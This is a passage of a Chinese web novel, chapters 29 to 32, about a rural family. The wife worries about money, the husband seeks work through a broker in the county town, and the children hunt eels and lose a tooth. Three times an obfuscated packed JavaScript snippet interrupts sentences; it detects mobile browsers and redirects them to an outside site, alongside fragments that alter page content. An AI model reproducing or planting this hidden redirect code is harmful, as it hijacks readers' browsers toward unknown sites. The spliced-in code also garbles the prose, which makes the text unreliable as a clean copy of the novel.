白米粥就很好，等喂他吃饱了她也好去睡个回笼觉。一晚上没睡，又拿了药材回来，脑中的那股劲一泄就有点力不从心，头越发昏沉沉睁不开眼。 这一觉睡得昏天黑地直到晚饭才醒，晌午饭直接从梦里滑过，醒来后神清气爽，双眼明亮，真舒坦！ 杏娘饭后煎了药喂给青皮吃，摸摸他的额头，只比平时略高一点，精神头很足，已经能下床跟弟弟追打，看来病情在慢慢好转。 俗话说小娃没假，没病就耍，要是孩子玩性很浓，能跑会跳，精神头十足，即便是在生病问题也不大；要是他萎靡不振，食欲不佳，连玩耍都提不起劲，这时就要注意了，可能真生病了。 杏娘把钱袋里剩余的银子放入箱子，抚着箱盖一阵惆怅：说好的不动用里头的银子，一来二去又用掉了一小半。舍不得吃舍不得穿，千省万省的，一场病把省下来的钱花用干净，省了个寂寞。 这节流不行啊，节来节去，箱底的银子还是会长腿跑去人家怀里，看来还是得开源。 怎么开源是个问题？如她老爹，李老爷子，十八般武艺样样俱全，那也是年轻时吃足了苦头，学会了诸般谋生手段，方能安享晚年，钱财自足。既不拖累子女，又能产生震慑，不令后代为非作歹，为祸乡邻。 可方圆几百里的葫芦镇也只出了一个李老爷子，效仿难度太大，成功率太低。 如她当家的，丛孝，在周遭这片地上，那也算得上一个人物。少时离家自谋生路，学到了一二技能手艺，往返府城毫无怯意，不是一般人能做到的。虽不能大富大贵，却能让父母家小衣食无忧，不必靠天吃饭，旱时祈雨灾时求佛。 可付出的代价却是远离故土，长年累月漂泊他乡，为人子，为人夫，为人父的职责永远缺席。 别的如她家周围的所有农户，年成好的时节家家尚有盈余，吃穿不愁之外，还能今天扯块布明天买条肉，人人心满意足；若是遭了灾，就得节衣缩食，数米下锅，饿急眼了草根树皮什么不能吃，更有甚着还有卖儿卖女的狠心爹娘。 家家户户的男人哪个不是从年头忙到年尾，也只有隆冬时能得闲，有心气的自去镇上打几天零工，挣两个铜板好过年。说到底，忙来忙去的也攒不下银钱。 如她一介妇道人家，更是门路甚少，想赚钱难如登天。怎么的都要找条赚钱路子才行，男人离得山长水远的，不是总得靠得住。杏娘打定主意要想出个子丑寅卯来，手头活泛了日子过得才有奔头那！ 一想到丛孝，不免心里头有些惦记，也不知道他在县城如何了，可安置好了，有没有找到活计，千头万绪理不清。 杏娘在家记挂当家的，丛孝在县城步履维艰。 他离了家一路北上去往府城，熟门熟路不费事就到了之前做工的佛寺。 这座耗费了无数钱财人力的宏伟庙宇，经过十来年的精心打磨，现在也已到了尾声。监管的官员们大都已回京复命，只留下些许工匠完成后续收尾，介时自有朝廷颁发度牒，有名望的住持方丈、僧侣们入住。 丛孝跟相好的管事、匠人、杂役一一作别，大伙儿约到山下的酒肆一顿胡吃海喝，喝得烂醉如泥，称兄道弟好不亲热。酒醒后挥手作别，前途漫漫，各自安好，天下无不散之宴席。 丛孝离开了府城又一路南下来到玉陵县城，离家半月啥都没干，光耗在路上了。 不过这也是没办法的事，人的出生背景固然重要，但是贯穿一生的始终是成长过程中交往的各路朋友、合作伙伴。宁愿平日多烧几炷无用的香，也不要到了山头求佛无门，说不准哪炷香就亮了呢。 县城跟府城的繁华自然无法相比，不过对丛孝来说无所谓，就是在府城他也多是呆在山上，山下的纸醉金迷与他无关。 初到县城他也没干什么，就是花了几天时间把整个县城的中心区域溜达了一遍。 官宦、商贾、平民百姓、穷苦人家及各类三教九流的分布做到心中有数。选了一片普通百姓居住的地头，多是靠打零工为生，一日不出工就无柴米下锅，杂役匠人混杂其中。 丛孝住的是一个中等客栈的大通铺，一个大房间排排放了十几张床铺，居住的人五花八门。一到晚上，打呼噜、磨牙、说梦话此起彼伏，这个调低下去那个调升上来，比戏班子的锣鼓声还热闹。 最难受的要数那个气味，简直了，神仙闻了都得跌落凡尘化为贱民——被浊气熏的。 睡在大通铺最多的是出苦力的穷苦汉子，无一技之长傍身，只能出卖一身憨力气谋口饭吃。干了一天力气活，流一身汗，晚上碰到床铺倒头就睡，整个房间充斥着汗味、臭脚丫和男性特有的气味。 睡一晚跟睡在茅房没什么区别，反正都是臭不可闻。 但是相比普通客房的费用，大通铺无疑是便宜的，一晚上十文钱，对丛孝来说在可以接受的范围。不接受也没办法，总不能跟叫花子似得以天为被以地为床，就算是他愿意，叫花子们也不愿意。 人家都是有地盘的，突然冒出来一个人来抢地盘可没有好果子吃。 在银子面前，任何事情都可以让道，包括气味。 每天早中晚在客栈买三、四个大肉包子，抓一小把菜干放碗里，舀一勺媳妇做的酱拌匀。就着店小二免费赠送的开水，就这样有肉有菜的当三餐，倒也饿不着肚子。 一来二去跟店小二混了个脸熟，清闲的时候俩人搭一桌喝茶侃大山。 “你这酱菜做的不错，够地道，辛辣，有嚼劲。”赵小山对丛孝竖起大拇指 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457588|169588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，一口馒头一口酱菜吃得香甜，酱菜辣得鼻尖冒汗，却是越辣越下饭，越吃得过瘾。 “是吧！我婆娘别的不行，灶上功夫没得说。”丛孝淡淡一笑，慢条斯理咽下嘴里的包子，“哎，小二哥，跟你打听个事，这附近有没有名声好的牙行？” 赵小山一脸料事如神，没有正面回答：“那要看你问的是官牙还是私牙。” “瞧你说的，我就是想问官牙也够不上啊。” “好吧，不逗你了。”赵小山用最后一点馒头把碗底的酱汁蘸干净，啊呜一口塞进嘴巴，心满意足地开口，“前面的大柳巷巷口有一家曾记牙行，里面有一个陈牙人，你运气好碰到了我，不是熟人我都不会开口。” 他特意停顿一下，左右看了看，身子前倾压低音量道：“那曾记牙行的牙人总有十来个，外人一进去就能看到别的牙人那里总是热热闹闹人来人往的，而陈牙人那里却是冷冷清清不见人影。不知就里的人就跑去那热闹地方，殊不知拜了假和尚错过了真菩萨。” 丛孝不解：“这是为何？牙人手里的活多，来找活计的也就多了，他自个的佣金也多啊。” 赵小山睨他一眼，一脸得意，似不屑对没见过世面的土包子多说，丛孝作洗耳恭听状。 他摆足了谱，这才勉为其难开口：“他们手里的活是多，那也要看是什么活。有的牙人跟商家沆瀣一气，故意压低卖苦力的工钱；有的牙人介绍的活都干完了，工钱迟迟不给；更有的吞了别人的工钱，欺的就是外乡人势单力薄，只能忍气吞声。这里面的道道比臭水沟里的老鼠还多。” 端起茶碗抿一口，丛孝拿起茶壶续满，他满意点头，“不过陈牙人却是个例外，虽然他手里的活是比他们少，但是架不住是货真价实的活计啊。不故意压价，按照行情明码标价，不隐瞒欺诈，不为虎作伥。他还是个死脑筋，那些欺行霸市的商家找他做交易，他还不理睬呢。” 说到这里，赵小山也有些疑惑：“不过他这样的做派倒是讨了那些老字号，名头响亮的大商号的喜欢，人家就是愿意跟他谈买卖，你说奇不奇怪。奈何咱们这个小县城也没几家大商号，所以他手里的活计就比别个少了。” 丛孝心里了然，所谓大商号，那就是能用钱解决的问题都不是问题。他们图的就是个省事、利落，若是能传出个好名声那更是锦上添花，何乐而不为呢。 他给赵小山的茶碗又续满，没有再问陈牙人的事，转而说起县城里的官宦乡绅、富户商贾。 这简直挠到了赵小山的痒痒肉，他一个店小二每天迎来送往，接触的客人不知凡几。这里听一耳朵，那儿闲聊两句，掌握消息不要太容易。若是秘闻能填饱肚皮，每天能塞得鼓胀如锣。 尤其是豪门富商的奇闻轶事，对小老百姓有致命的吸引力，要是能窥探到其中一角，那也属于莫大的荣幸。 当下口若悬河，滔滔不绝，恨不得把肚里的存货掏个干净，说到兴起时，不用丛孝问，他自个就能编一本县志秘史。若手边有一块惊堂木，直接可以摆开架势，百转曲回，开堂说书了。 丛孝点的一壶茶，自个没喝几口，全进了小二哥的肚腩。 说到后面突兀地草草收尾，急匆匆跑向茅房，也不知道憋了多久，可真能憋的，丛孝都替他长出一口气。 30. 第 30 章 第二天一大早，丛孝溜溜达达去了曾记牙行，在里面晃悠一圈就发现了一个面容普通，坐在角落的中年男人。 他穿一身半新的深蓝色细布，正跟两个着短打的汉子交谈，丛孝走进听了一耳朵。 “这时节张家的货船肯定不回来，正是青黄不接的时候，要啥没啥，总不能满船的货物下了码头，剩一艘光溜溜的空船回府城吧。怎么的也要等到早稻下来，到时连同莲蓬、菱角米、莲藕这些个水里的东西一股脑装满。” “那时活才多呢，人力抢手的很，有多少要多少，不过正好赶上双抢，出来打零工的农人少。” “陈牙人，我们可等不到那时了，眼下早稻才种下多久？家里的那点活婆娘一个人就包圆了，我们这把子力气在家也是浪费，想着出来打打零工，一来挣几个花销，二来省了家里的嚼用。您看您手头有没什么现成的活计，什么脏活累活都成，我们都能干。” “若是如此……”陈牙人以指敲桌面沉吟片刻。 “住在西边的孙老爷年前买了好几百亩田，那会忙着量田亩、办地契也没空关注旁的事。开春种下秧苗才发现那地块确实是挨着水沟，水沟多是多，就是小了点，一到梅雨季就淹，天一干就旱。买都买了，田也还行，估计以前的主人也是考虑到这点才卖的。” 停顿了一下，他继续道：“孙老爷想着一劳永逸，干脆把水沟扩宽，现在就雇着人挖沟呢。只是那片地实在是大，一群人丢下去比蚂蚁还小，这要挖到什么时候？所以孙老爷托了满县城的牙人找人手，一天包两顿饭。” 其中一人惊喜道：“这活我们能干，不就是挖水沟么，鱼塘都不知道挖多少了，就是费点力气，我们有的是，让我们去吧。” “不单是力气的事。”陈牙人眉毛微皱，面容端肃。 “这个活比码头搬货物不见得轻松多少，工钱却是差了许多。按照挖土多少给工钱，我算了算，一天能得六十文左右，比搬货足少了二十文。你们可要考虑清楚？” 两人面面相觑，一咬牙发狠，“能找到活干就不错了，哪有挑拣的余地，还能吃两顿饱饭，先去干吧，日后有别的活计，还望陈牙人多多念着我们些。” 陈牙人摆手，不忘嘱咐两句：“你俩也别想着多挖点能多拿工钱，说白了多不了几文，凡事量力而行才好。” 丛孝一旁听了不觉轻笑出声，陈牙人一抬头疑惑的问：“这位客官，您是……” 丛孝忙开口：“我跟他们一样，也是来找活计。” 陈牙人点头，“那你们跟我一起走吧，那片地可不近，出了县城还要走四、五里路，我们早点出发早点到。” 就这样丛孝又干起了农活的勾当，几天下来，陈牙人对他印象深刻，不是他特别能吃苦耐劳，而是他太会“量力而行”了。 别人都是起早贪黑，除了吃喝拉撒睡外，其余时间泡在水沟里挖土。 丛孝则不然，挖了几天土，每天的工钱都是四十文，既不多也不少，死死卡在四十文。陈牙人当初估算的六十文，其实是保守的说法，一个干惯了农活的人怎么地也得有个七、八十文吧。 可丛孝偏不，他就像计算好了似的，一锹都不多挖，但凡他每天多挖几锹，凑个五十文，陈牙人都不会注意到他。 丛孝每天干活中规中矩，不迟到早退，也不偷懒耍滑，一锹一锹挖得可认真了。但是仔细一观察，就会发现他挖土的频率不快不慢，既不会太快喘气似牛喷气，又不会太慢让人一眼看出。 丛孝不知道别人恨铁不成钢，他自我感觉良好，反正他又不是靠卖苦力吃饭，这次就当是刷一回存在感，混个脸熟。 何况虽然没有挣到大钱，但也不用累坏身体，每天还能省两顿饭钱，付了房费和早饭，还能挣二十几文呢，聊胜于无啊！ 看他干活用一句话形容—中看不中用，这种人最是遭庄稼人嫌弃。 忍了几天后，陈牙人决定不忍了，“我说这位丛小哥，你这一看就不是干农活的料啊，你实话跟我说吧，你到底要找什么活？” “被您看出来啦！”丛孝脸上一点羞涩也无，神情坦荡如水。 “我虽然出生农家，但确实没干过多少农活。我自小跟着师傅在庙里做泥瓦木工的活，学了些微末手艺。这不是看您这里没有合适的活计，我就先干干别的，总不能每日白白花了食宿费，您说是吧？” “你呀你！”陈牙人抬起手指点了点，无可奈何地说。 “你的情况我记下了，会替你留意一二，你要是愿意就先这么干着吧！”孙老爷都不管，他何必越俎代庖，反正这些地主老爷们没几个不是黑心烂肝的。 “那就拜托您啦，等我领了工钱给您打酒吃。” 陈牙人背着手摆了摆，踱着步慢慢走远。 …… 接连几天的阴雨绵绵后，天气像突然转冷时那样又来了个一百八十度大转弯，晨曦微露时，天边就出现了亮光。等到太阳升起，炙热的光线毫无保留地抛洒大地，一改之前几日的萎靡不振，照耀得到处都是一片亮堂。 就是今天了，这就是周邻说的千载难逢的抓鳝鱼好时机，也是青叶日日夜夜盼了好几个晚上的大晴天，今天晚上必须一雪前耻。 太阳落山青叶整装待发，杏娘劝她：“之前下了几天雨，路上的泥巴都没晒干，田埂上肯定也是滑不溜秋不好走，要不咱们再等两天？” 青叶坚决摇头，眼神前所未有的势不可挡，再等两天黄花菜都凉了，成败在此一举。 望着雄赳赳气昂昂远去的背影，以及更小的屁颠屁颠誓死追随的背影，杏娘莫名其妙。就抓个鳝鱼而已，至于么，搞得跟大将军出征似得，后面跟着的就是扛旗小兵。 周邻可真是神了，简直是天庭里掌管鳝鱼的神哪！ 青叶心花怒放往鱼篓又倒进一条鳝鱼，都不用特意寻找，隔着两三步的距离就横着一条。这跟做梦梦到捡金子有什么区别，她虽然小也是做过捡铜板的梦。 一条长长的小路上，一个个金黄的铜板排成一条线，一眼望不到头。走一步弯腰捡一个铜板，再走一步弯腰捡一个，乐呵得嘴角都不知道怎么合拢了。 梦里捡起的铜板太真了，甚至有点忧愁这么多放哪里好呢。等到天亮梦醒了，还挺怅然若失的，哎！多好的发财机会啊，就这么没了，接着一整天都提不起精神。 梦里的毕竟是梦里的，就算想的相思成疾也到不了自个口袋。抓鳝鱼就不一样了，他们才绕着一块农田走了一圈，就抓到了十几条鳝鱼，这不就像是做梦？ 姐弟俩合作无间，干活的动作利落了不少，杏娘喊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457589|169588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人的时候俩人已经走了七、八块田。虽然还有些意犹未尽，姐弟俩还是听话地往回走，惹毛了娘亲可没有好果子吃，细水长流的道理在哪都行得通。 “我看看你们今天抓了几条？”杏娘漫不经心取下青皮肩上的绳子。 嗯？一只手竟然没提动，她疑惑地低头往鱼篓里看去，“我的天老爷，你们这是抓了多少啊，鱼篓都快装满了。” 这个鱼篓虽然小，也只是相对大人用的来说，这一篓差不多有三、四斤重。也不知道二小子是怎么背回来的，吭都没吭一声，是个硬气的小小男子汉。 此时天已经黑了，由于白天越来越长，天气日渐炎热，丛三老爷和陈氏延迟了睡觉的时辰。 丛三老爷走过来斜拉鱼篓凑在火把下仔细看，“估摸着有三斤多，两个小家伙运气可真好。” “好，好。”陈氏亦是喜笑颜开，“大丫头、大孙子出息了，明儿炒一盘，我们也能大饱口福一回。” 上次抓的鳝鱼太少，杏娘切了片炒蒜苗，一人夹两筷子就没了。 吃的人不上不下，别提多难受了，你说要是一直没吃到吧，只是会想吃，还不至于那么念念不忘；一旦吃到嘴巴，刚把瘾勾出来，要大块朵硕呢，没得吃了。 是不是特别扫兴，勾得牵肠挂肚，吃别的饭菜都觉得寡淡无味。 青果撅着嘴巴，扭股糖似的在杏娘身上拱来拱去，“我也要去，我也要去抓鳝鱼嘛！” 杏娘一边乐呵呵地把鳝鱼倒进水桶，一边敷衍：“好，好，好，都去，都去。” 第二天快到晌午时，杏娘从桶里挑选十几条中等个头的鳝鱼做盘鳝。 这道菜是用整条鳝鱼直接炒，所以不能选太肥的，肉厚味道浸透不够彻底，不入味；也不能选瘦伶伶的，没几口肉全是骨头。 撒一撮盐巴倒两勺醋，杏娘把选好的鳝鱼倒进盆搓洗，洗一会儿倒掉再舀入清水重复上一步。清洗三次鳝鱼有些萎靡，大铁锅烧热后放油，油热了左手拿锅盖，右手端鳝鱼，准备妥当。 杏娘吐出一口气，右手迅速倾斜倒进锅，左手的锅盖更快的扑上去，一切都在眨眼睛完成，整个过程行云流水，一鼓作气。 能听见铁锅里鳝鱼蹦跳的声音，若是锅盖盖地稍慢了，就有强悍的鳝鱼跳出锅，在灶台上翻江倒海，堪比灾难现场。 等了几息，铁锅内渐渐平静，揭开盖子开始大火翻炒，葱姜蒜酱一一加入，最后再盖上锅盖焖一会儿即可出锅。 玉陵县都是吃鳝鱼的高手，连三岁小童青果也不例外。 夹一条鳝鱼放在碗里，嘴巴咬住脖颈的那块肉慢慢撕开，整条脊柱上的肉与骨头分离。翻一面咬住肚子，牙齿沿着两边的弧形鱼翅往下嗦，鱼肚肉入口，一直嗦到尾巴。 鳝鱼的肠子等东西全包裹在肚子两边的鱼翅里，一点挨不着。 整条鳝鱼吃起来全是肉，留下一副完整的骨架，相当干净利落。 青果把一条鳝鱼骨架在桌上摆放的直直的，不一会就摆了三、四条。 杏娘笑嘻嘻夸奖：“青果越发聪明了，吃剩的鱼骨都这么漂亮，不得了。” 青果得意洋洋抬起下巴，嘟起的小嘴油得发亮，逗得众人哈哈大笑。他还不知道发生了什么，一脸懵的看着哥哥姐姐，大伙笑地更欢了。 31. 第 31 章 晚上制作火把时，杏娘把碎布条、粗麻绳缠了一圈又一圈，绑了个结实、漂亮、又圆又大的火把头。 望着跟她拳头差不多大的火把头，青叶迟疑地问：“娘，用不着系这么多布条，跟之前一样就好。” 她就算不当家也知道家里的一根一线都是有用的，关键时刻缺一不可，不能浪费。 “用得着。”杏娘兴冲冲盯着眼前的火把头，神情专注眼都不偏一下，“大的才经烧，能用好久呢，不会浪费。” 那您还给我做那么小的，青叶心里嘀咕，又有新的担心：“这我应该举得动吧？烧火棍太粗了，拿不稳。” “我来拿，今天晚上我也去抓鳝鱼，我还是小时候抓过呢，都多少年没干过这事了。”杏娘随口回答，声音中带着显而易见的兴奋。 昨天晚上两个小不点一会儿功夫抓那么多鳝鱼，把她的瘾也勾上来了。 现在鳝鱼价格下降了，也还有十文钱一斤，就是不拿去卖，自家吃也划算。没道理两个小的能抓一篓，她不会抓不到吧？ “可是……”青叶一脸纠结，“可是今天晚上不一定会比昨天多哪？” “没事，抓鱼也要看运气，现在还不是农忙的时候，晚上有的是时间，我就不相信我的运气能这么背，一条都抓不到。” 好吧，青叶放心了，只要是她娘想做的事，无论过程怎样，结果总是大差不离，谁叫她娘就是有那股不服输的劲头呢。 哄睡了小儿子，娘三轻悄悄举起火把，提上大鱼篓出门。 杏娘可不是两个小的，过了石桥直奔农田旁边的水沟。水田多的是，什么时候去找都不迟，水沟就那么几条，迟了就被臭小子们糟蹋了。 在水沟寻找的体验跟水田不一样，水沟水深，沟底和坡上的水草多。鳝鱼躲在水草底下根本不易发现，这时就要根据它的习性来判断。 杏娘不愧是做过孩子王的存在，她能依据水草轻微地抖动及一些冒出水面的小泡泡，笃定水草下有东西。 两只脚轻轻踩进水沟，尽量不掀起大的水波，府下身子轻柔拨动水草，看准目标后闪电出手，提出水面就是一条三、四两重的鳝鱼。 两个小的欢呼跃雀，刚才屏息静气不敢发出响动，现在抓到了自然无所顾忌，“娘好厉害！”“娘，给我看看。” 杏娘笑嘻嘻地把鳝鱼丢入鱼篓，满意拍手，“鱼篓可扶稳当了，要是倒了鳝鱼一逃跑就抓不着啦！” “娘，我抓得牢牢的。”青皮连忙保证，双手不忘抱着鱼篓口部。 “真能干！”杏娘摸摸他的大头，提起鱼篓志得意满朝前走，水沟里的鳝鱼明显比水田的粗壮了不少，抓起来就是过瘾。 各家各户的水田都是横切竖砍规整的形状，挨着宽田埂的就挤成了不规则的边边角角。走至水沟尽头，一块三个尖角的小水田时，田里的水浑浊不堪，水面浮起一层细小的泥灰。 本能的杏娘觉得这里面有大家伙，她示意两个小家伙噤声，目光如炬沿着田埂慢慢搜索。直走了快一圈，青叶眼尖看见一条粗壮的黑影静静卧在田埂边上。 杏娘皱起眉头，这么大个家伙，她没有把握能一手抓牢，稳妥起见还是用筛子。 筛子轻轻插入水中，猛然铲起，鳝鱼舀到了，还不等两个小的尖叫，它一个扑腾跃起又掉入水田。筛子毕竟是浅口的，困不住这么肥的鳝鱼。 娘仨都有点懵，煮熟的肥鸭子就这么飞了，这可不行。 “别慌，这块田就这一点大，它还能飞上天不成，咱们再慢慢找一遍，肯定能抓住。”杏娘沉稳安抚儿女。 要他们俩站在原地等待，杏娘举起火把沿着田埂再次找寻，一圈走完一无所获。她望着黑漆漆的稻禾，难道跑到田中间去了？ 这么粗一条鳝鱼就这样放弃太可惜了，她不甘心，安静站立片刻。 谁都没说话，四周的虫鸣蛙叫越发清亮。杏娘迈开步子以更轻的脚步又绕一圈，功夫不负有心人，行至一半的时候终于发现了它的身影。 这次杏娘不敢大意，决定放手一搏，招手示意青叶过来，让她举着火把。杏娘轻盈走近弯下身子，双手快速锁住，呼啦啦举出水面，青皮抱起鱼篓跑过去。 直到把鳝鱼塞入鱼篓底部，杏娘才松开双手，大喘一口气，哈哈笑出声：“可算让我逮着了，这家伙估摸着有一斤重，长得可真肥。” 青叶傲娇地嚷到：“娘，这是我最先看到的。” “嗯，还是叶儿的眼厉，跑得也快，呵呵！” 娘仨转战水田，沿着几块水田寻了一圈，鳝鱼没有昨天晚上的密，但是也不是一无所获。有了这条大的，即便抓的没昨晚多，三人依旧兴致不减。 等回到家，众人围着这条鳝鱼啧啧称奇。 隔天早上，丛三老爷挑选粗壮的鳝鱼提去镇上卖了，换回一条肥瘦相间的猪肉，一家子吃得满嘴流油，除了青叶。她夹了一片慢吞吞嚼了，只慢慢扒饭。 杏娘看向明显不对劲的女儿：“叶儿，怎么了，嘴巴疼？” 青叶捂嘴摇摇头，不肯说话。 青果快言快语插嘴：“娘，我知道，姐姐牙齿疼。”青叶怒目而视，他嘻嘻笑着躲到娘亲身后。 “叶儿牙齿松了啊。”丛三老爷慢悠悠开口，招手要她过去，“过来给爷爷看看，爷爷手指头有仙法，摸一摸就不疼了。” 青叶迟疑，牙齿一碰就疼，害得她肉都不敢吃，就怕碰到疼一哆嗦。 “没事，爷爷就看看，摸一下就好了，你去年的牙齿也是爷爷摸好的，忘记了？” 有这回事？她记不得了，不过既然爷爷这样说，想必是真的。青叶放下碗筷走到丛三老爷身边张开嘴巴，杏娘忍笑去倒水。 松掉的是下门牙，小小的糯米牙上半部分可里外摇动了，根部一点连着肉。 丛三老爷捏住小牙，“别怕，爷爷摸一下，马上就好。”使巧劲旋转着往外一拉，牙齿瞬间脱落，鲜血冒了出来。 杏娘即时递上一碗清水：“含一口水去院子里吐了，多漱几口就好了。” 青叶懵了一下，她刚感觉到疼，还没叫出声呢，牙齿就掉了，然后就不疼了，只是有一点木木的。她端起碗去漱口，几口后吐出的水变清澈不再有血丝。 青叶回到桌上大块朵硕，能大口吃肉的感觉真好，一点儿也不担心碰到牙齿了，爷爷真厉害。 杏娘不忘叮嘱一遍：“不要用手扣，用舌头舔，要不然长出个大龅牙，哭都没地儿哭，听到没？” “知道了。”青叶大声答应，她又不是傻子，龅牙的牙齿是凸出来的，丑得嘴巴都包不住，她才不要长这么丑的牙齿。 饭后拿一片树叶包裹住掉落的牙齿，青叶站在自家大门口，仰起头望着高高的屋檐。 上门牙要扔到床底，下门牙要扔到屋顶上，这样长出来的牙齿才会整整齐齐，不歪不斜，只是这屋顶也太高了点吧。 “姐姐，我帮你扔吧，我力气可大了，一扔就上去了。”青果跃跃欲试，讨好地小奶音请求，话说他还没扔过牙齿呢，家里也只有姐姐掉过牙。 青叶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457590|169588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摇头拒绝：“不要，我自己扔。”鼓起腮帮子往上一扔，小包裹飞上去碰到屋檐，“嘭”一声又掉下来。幸亏用树叶绑了，否则还真不容易找到。 青果撒开两条小短腿冲过去，捡回树叶包裹递给姐姐。 青叶抿紧嘴巴，往后退开几步离大门远一些，卯足了力气往斜上方一抛，小包裹顺利升空落在斜屋顶上。 “噢！”姐弟仨手舞足蹈，拍手庆贺。 …… 水田的稻谷长得郁郁葱葱，生机盎然，一眼望去天地间就生了两种颜色。 天空碧蓝如洗，似乎伸手一指轻轻一搅动，就有细小的涟漪一圈一圈荡漾开。地上绿草如茵，整齐的稻谷随风摇曳，如海潮涌向远方，连绵不绝。 走得近了就发现根本不是那么回事，一行行稻谷中冒出许多与众不同的异类。长得比水稻高、快，还不易去除。除草要尽早，杂草根系繁杂，若不尽早去除，等它们扎稳根系扯起来费力不说，还挤兑得水稻长不好。 杏娘初嫁过来闹了不少笑话，她根本分不清哪些是稗草。 两个长得差不多，比对半天犹豫不决，下定决心一把薅起一手水稻，心疼得丛三老爷直打哆嗦，又不好说她。心里安慰自己多扯两把熟悉了就不会搞错了，等杏娘薅下第四把稻谷，丛三老爷坐不住了。 再扯下去就不是除草，是除稻谷了，到时候人家割谷子，他们割杂草，不够人笑话的。 送了这个小祖宗去田埂上割草，他老人家自己动手，丰衣足食，年轻人靠不住哪！ 等青叶过了一周岁生日，杏娘才弄清楚稗草跟稻谷的差异，也能一眼扯掉水田里的杂草。 杏娘把杂草抱回家喂牛，英娘跑过来窜门，“你前几天不是才刚扯过草，今天怎么又去了？” “你说的前几天已经过了十来天了，我也不想扯啊，勒得手生疼，绑了布条也不管用。有什么法子，野草长得快，一不注意就冒了尖，不勤快点扯了又要被人说懒婆娘，人勤地生宝,人懒地生草。” 杏娘把一捆草抖擞散开在牛鼻子下，拍掉手上的碎屑，无可奈何地说到。 英娘鼻子里“哼”一声，骄横一扬眉。 “你那是把面子看得太重了，脸面又不能当饭吃，她们说就说去呗，还能指着我鼻子说不成。就算她敢指我鼻子，我就敢扯了她去我田里薅草，不是能的很么，我倒要看看谁敢跟我能。” “你在我这里逞能没用。”杏娘好笑提醒，“我今天可看见你田里的草比稻谷高了一个头，还不去扯小心你们家老爷子的鞭子抽上门，你到底多久扯一次？” “差不多二十天左右吧。”英娘无所谓地双手抱胸倚靠在墙上。 “明天到日子了，确实要去扯了。你说那些野草也真是的，明知道自己不受待见，还长那么快，不是自找死路么？要是草跟稻谷调换下就好了，皆大欢喜啊。” “这么长时间扯一次草，根都长老了，你也不嫌费力？” 英娘一本正经摇晃手指，“我跟你不一样，我情愿让那些草多长几天，多花费些力气，也不愿意三天两头往田里跑。扯完水田扯菜园，那日子还过不过了。” “你也就是有个好婆婆。”杏娘羡慕地说，“谁家日子不是这么过来的，我们两家还算好的，别人家不都是成天泡在田里干活，哪有歇息的时候。” “哎呀，不说这个了。”英娘拽起她的胳膊往堂屋走，“我买了一块好布料，颜色可好看了，你帮我看看裁成什么花样好。” 两人言笑晏晏说着话走远。 32. 第 32 章 炎热的天气也不是一无是处，至少对孩子们来说，大自然赐予的宝藏无处不在。 河边的桑枣成熟了，细条条的枝干上布满圆嘟嘟饱满的桑枣。黄棕色的还没长成，能酸倒小童的满嘴糯米牙，就这也没能逃脱男孩子们的毒手。 因为等待它成熟的时间太长了，眼下不摘都不用等过夜，下一刻就不知道进了哪个馋嘴小子的嘴巴。 种类最多的要数棕红色的半成熟果，甜中带酸，两种味道彼此较劲。 甜味赢了，眉开眼笑，需得放慢咀嚼，细细品味；酸味占了上风，龇牙咧嘴，立马伸手摘下一颗，期待下一刻的好运冲淡嘴里的酸涩。 最耀眼的存在永远是那深紫色甚至黑色的桑枣，摘一把捧在手心，一口闷进嘴巴，汁水四溢，如同喝了一口最醇厚的蜜液，黏得嗓子发腻。 吃完手掌心一片斑驳印记，衣服上随手一擦，印记如影随形，恼得当娘的提起棒槌就追赶。 矮小粗壮的桑枣丛早不知道爬过几轮，中间的树杈子露出白色的躯干，最长的枝干折叠成一个奇异的姿态垂落在水面。 上面的果实已空空如也，连发芽的胚子都没放过，更不用说撵的七零八落的桑叶。 好在她已习惯每年这个时节的辣手摧残，挺过去就没事了，还有一年的时间可以慢慢恢复，明年以更强健的体魄迎接属于她的宿命。 低矮处已经洗劫一空，孩童的目光对准半空，树上的果实在细碎的光影里越发晶莹剔透，惹人爱怜。 云娘家河边的两颗高大桑枣树下集齐了大半条垄上的孩子，个个站在浓密的阴影下摩拳擦掌。 大孩子手长脚长，双手抱树两脚一蹬，青蛙似的在树上挪动，只要爬到树杈子那就好了。一屁股卡在分叉处，触目所及皆可伸手拉至眼前。 有哥哥姐姐的孩子是幸福的，大的在树上折断桑枣枝条扔下来，小的在下面捡起塞进嘴巴。 很显然青叶并不在此姐姐的行列里，她倒是有心想上树，奈何狗熊似圆润的身子绕着树干转了一圈依旧回到原点。 学着别人的样子双手抱树双脚蹬，蹬了半天，手不动如同原地划船。 